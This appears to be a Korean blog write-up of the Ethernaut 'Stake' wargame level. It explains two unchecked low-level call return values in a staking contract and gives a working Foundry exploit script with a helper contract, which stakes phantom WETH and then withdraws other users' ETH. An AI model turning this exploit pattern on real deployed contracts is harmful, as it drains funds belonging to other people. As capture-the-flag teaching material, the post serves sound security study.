티스토리 뷰

Solidity/Hacking

[Ethernaut] 31. Stake

piatoss 2024. 6. 5. 18:32

1. 문제

 

The Ethernaut

The Ethernaut is a Web3/Solidity based wargame played in the Ethereum Virtual Machine. Each level is a smart contract that needs to be 'hacked'. The game is 100% open source and all levels are contributions made by other players.

ethernaut.openzeppelin.com

Stake is safe for staking native ETH and ERC20 WETH, considering the same 1:1 value of the tokens. Can you drain the contract?

To complete this level, the contract state must meet the following conditions:

  • The Stake contract's ETH balance has to be greater than 0.
  • totalStaked must be greater than the Stake contract's ETH balance.
  • You must be a staker.
  • Your staked balance must be 0.

Things that might be useful:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Stake {

    uint256 public totalStaked;
    mapping(address => uint256) public UserStake;
    mapping(address => bool) public Stakers;
    address public WETH;

    constructor(address _weth) payable{
        totalStaked += msg.value;
        WETH = _weth;
    }

    function StakeETH() public payable {
        require(msg.value > 0.001 ether, "Don't be cheap");
        totalStaked += msg.value;
        UserStake[msg.sender] += msg.value;
        Stakers[msg.sender] = true;
    }
    function StakeWETH(uint256 amount) public returns (bool){
        require(amount >  0.001 ether, "Don't be cheap");
        (,bytes memory allowance) = WETH.call(abi.encodeWithSelector(0xdd62ed3e, msg.sender,address(this)));
        require(bytesToUint(allowance) >= amount,"How am I moving the funds honey?");
        totalStaked += amount;
        UserStake[msg.sender] += amount;
        (bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount));
        Stakers[msg.sender] = true;
        return transfered;
    }

    function Unstake(uint256 amount) public returns (bool){
        require(UserStake[msg.sender] >= amount,"Don't be greedy");
        UserStake[msg.sender] -= amount;
        totalStaked -= amount;
        (bool success, ) = payable(msg.sender).call{value : amount}("");
        return success;
    }
    function bytesToUint(bytes memory data) internal pure returns (uint256) {
        require(data.length >= 32, "Data length must be at least 32 bytes");
        uint256 result;
        assembly {
            result := mload(add(data, 0x20))
        }
        return result;
    }
}

2. 문제 해결 조건 확인

 문제 해결에 필요한 조건들은 다음과 같습니다.

  • Stake 컨트랙트의 ETH 잔액이 0보다 커야할 것
  • totalStaked 상태값이 Stake 컨트랙트의 ETH 잔액보다 커야할 것
  • Stakers[player]의 값이 true가 되야할 것
  • UserStake[player]의 값이 0이어야 할 것

 

 뭔가 말이 앞뒤가 하나도 안맞는 것 같고 '내가 난독증인가?' 싶으실수도 있겠지만, 이게 풀어보면 정말 저렇게 됩니다... 그럼 우선 스마트 컨트랙트 등짝(취약점)부터 살펴볼까요?


3. 취약점

스마트 컨트랙트에서는 두 개의 취약점을 발견할 수 있습니다.

1) StakeWETH

function StakeWETH(uint256 amount) public returns (bool){
	require(amount >  0.001 ether, "Don't be cheap");
	(,bytes memory allowance) = WETH.call(abi.encodeWithSelector(0xdd62ed3e, msg.sender,address(this)));
	require(bytesToUint(allowance) >= amount,"How am I moving the funds honey?");
	totalStaked += amount;
	UserStake[msg.sender] += amount;
	(bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount));
	Stakers[msg.sender] = true;
	return transfered;
}

 StakeWETH 함수의 동작 과정은 다음과 같습니다.

  1. amount가 0.001 이더보다 큰지 확인합니다.
  2. 호출자가 Stake에게 사용을 허락한 WETH의 양, allowance를 call 함수를 통해 선택자 0xdd62ed3e를 사용하여 읽어들입니다. (call보다는 staticcall을 사용하는 것이 좋아보이네요)
  3. allowance가 amount보다 크거나 같은지 확인합니다.
  4. totalStaked 상태값과 호출자의 UserStake 상태값을 갱신합니다.
  5. call 함수를 통해 선택자 0x23b872dd를 사용하여 WETH 컨트랙트의 transferFrom 함수를 호출합니다.
  6. 호출자의 Stakers 상태값을 true로 설정합니다.
  7. 저수준 함수 호출 결과를 반환합니다.

앞서 다른 문제들을 풀고 오셨다면 무엇이 잘못되었는지 한 눈에 확인하실 수 있습니다. 바로바로 저수준 함수 호출 결과를 제대로 확인하지 않고 반환값으로 넘겨줘버린 것입니다.

(bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount));

 만약 호출자의 WETH 잔액이 부족하여 transferFrom 함수 호출이 실패했다면 transfered 값은 false가 될 것이고, 잔액이 충분하여 성공한 경우에는 true가 될 것 입니다. 일반적으로  transferFrom 함수의 실행이 실패하면 revert되는 것이 맞지만, call 함수는 이처럼 전체 실행을 revert 시키지 않고 성공 여부를 나타내는 불리언 값을 반환합니다. 따라서 이 값을 확인하고 적절한 예외 처리를 해줘야만 합니다.

 

 결과적으로, 호출자의 잔액이 부족하더라도 StakeWETH를 호출하면 다음과 같은 상태 변경이 일어납니다.

  • totalStaked 상태값이 amount 만큼 증가
  • UserStake[msg.sender] 상태값이 amount 만큼 증가
  • Stakers[msg.sender]가 true로 설정

 이를 활용하면 우선 문제 해결 조건에서 다음 두 가지 조건을 만족시킬 수 있습니다.

  • totalStaked 상태값이 Stake 컨트랙트의 ETH 잔액보다 커야할 것
  • Stakers[player]의 값이 true가 되야할 것

2) Unstake

function Unstake(uint256 amount) public returns (bool){
	require(UserStake[msg.sender] >= amount,"Don't be greedy");
	UserStake[msg.sender] -= amount;
	totalStaked -= amount;
	(bool success, ) = payable(msg.sender).call{value : amount}("");
	return success;
}

 Unstake 함수의 동작 과정은 다음과 같습니다.

  1. 호출자의 UserStake 상태값이 amount 보다 크거나 같은지 확인합니다.
  2. 호출자의 UserStake와 totalStaked 상태값을 갱신합니다.
  3. call 함수를 통해 호출자에게 amount 만큼의 이더를 전송합니다.
  4. 저수준 함수 호출 결과를 반환합니다.

 이 함수는 앞서 살펴본 StakeWETH 함수와 상황이 비슷합니다. call 함수의 반환값에 대한 적절한 예외 처리를 해주지 않고 있네요. 이렇게 되면 무슨 일이 발생할까요?

 

 내 돈이 아닌데도 마음대로 인출할 수 있게 됩니다! 그리하여 StakeWETH 함수를 통해 조작한 UserStake 값을 0으로 만들 수 있게 됩니다.

  • UserStake[player]의 값이 0이어야 할 것

 그렇다면 남은 하나의 조건 'Stake 컨트랙트의 ETH 잔액이 0보다 커야할 것'은 어떻게 해야 할까요?  내 UserStake 값이 0이 될 정도로만 빼고, 남이 넣어 놓은 돈은 컨트랙트에 조금 냄겨놓으면 될 것 같습니다.


4. 공격 시나리오

 앞에서 다룬 내용을 종합해보면 다음과 같은 공격 시나리오를 구상할 수 있습니다.

  1. Bob이 StakeETH 함수를 호출하여 A + 1 만큼의 이더를 스테이킹합니다.
    • Stake 컨트랙트의 잔액 = A + 1
    • totalStaked = A + 1
    • UserStake[Bob] = A + 1
    • Stakers[Bob] = true
  2. 공격자는 StakeWETH 함수를 호출하여 A만큼의 WETH를 스테이킹합니다. 공격자는 실제로 WETH를 가지고 있지 않습니다. 그러나 스테이킹은 성공합니다.
    • Stake 컨트랙트의 잔액 = A + 1
    • totalStaked = 2A + 1
    • UserStake[Bob] = A + 1, UserStake[player] = A
    • Stakers[Bob] = true, Stakers[player] = true
  3. 공격자가 Unstake 함수를 호출하여 A만큼의 이더를 인출합니다.
    • Stake 컨트랙트의 잔액 = 1
    • totalStaked = A + 1
    • UserStake[Bob] = A + 1, UserStake[player] = 0
    • Stakers[Bob] = true, Stakers[player] = true
    • player의 잔액에 A만큼의 이더 추가

이 공격 시나리오가 실행되고 나면 문제 해결을 위한 네 가지 조건이 모두 만족됩니다.


5. 공격 시나리오 실행

 Bob에 해당하는 개체는 다음과 같이 컨트랙트로 정의했습니다.

contract DummyStaker {
    Stake public stakeContract;

    constructor(address _stakeContract) {
        stakeContract = Stake(_stakeContract);
    }

    function stakeETH() external payable {
        uint256 amount = (0.001 ether + 1) + 1;
        if (msg.value != amount) revert();
        stakeContract.StakeETH{value: amount}();
    }
}

 foundry 스크립트는 공격 시나리오에 따라 다음과 같이 작성하였습니다.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.24;

import {Script, console} from "forge-std/Script.sol";
import {Stake, DummyStaker} from "../src/31.Stake.sol";

contract StakeScript is Script {
    function setUp() public {}

    function run() public {
        uint256 privateKey = vm.envUint("PRIVATE_KEY");

        vm.startBroadcast(privateKey);

        Stake target = Stake(0xf246A3869d3fa54A70bb8868F8d1144A08785FBB);
        address WETH = target.WETH();

        uint256 amount = 0.001 ether + 1;

        // Stake ETH using DummyStaker
        DummyStaker dummyStaker = new DummyStaker(address(target));
        dummyStaker.stakeETH{value: amount + 1}();

        // Approve WETH to Stake contract
        (bool ok,) = WETH.call(abi.encodeWithSignature("approve(address,uint256)", address(target), type(uint256).max));
        require(ok, "Failed to approve");

        // Stake WETH directly
        target.StakeWETH(amount);

        // Unstake ETH
        target.Unstake(amount);

        vm.stopBroadcast();
    }
}
$ forge script script/31.Stake.s.sol --rpc-url sepolia --broadcast -vvvv

 스크립트를 실행하고 인스턴스를 제출하면 성공!


전체 코드

 

dig-solidity/ethernaut at main · piatoss3612/dig-solidity

Contribute to piatoss3612/dig-solidity development by creating an account on GitHub.

github.com

 

'Solidity > Hacking' 카테고리의 다른 글

Ethernaut 문제 풀이 및 키워드 정리  (0) 2024.06.27
[Ethernaut] 30. HigherOrder  (0) 2024.06.27
[Damn Vulnerable DeFi] Climber  (0) 2024.04.11
[Damn Vulnerable DeFi] Backdoor  (0) 2024.03.02
[Damn Vulnerable DeFi] Free Rider  (0) 2024.03.01
최근에 올라온 글
최근에 달린 댓글
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
Total
Today
Yesterday
글 보관함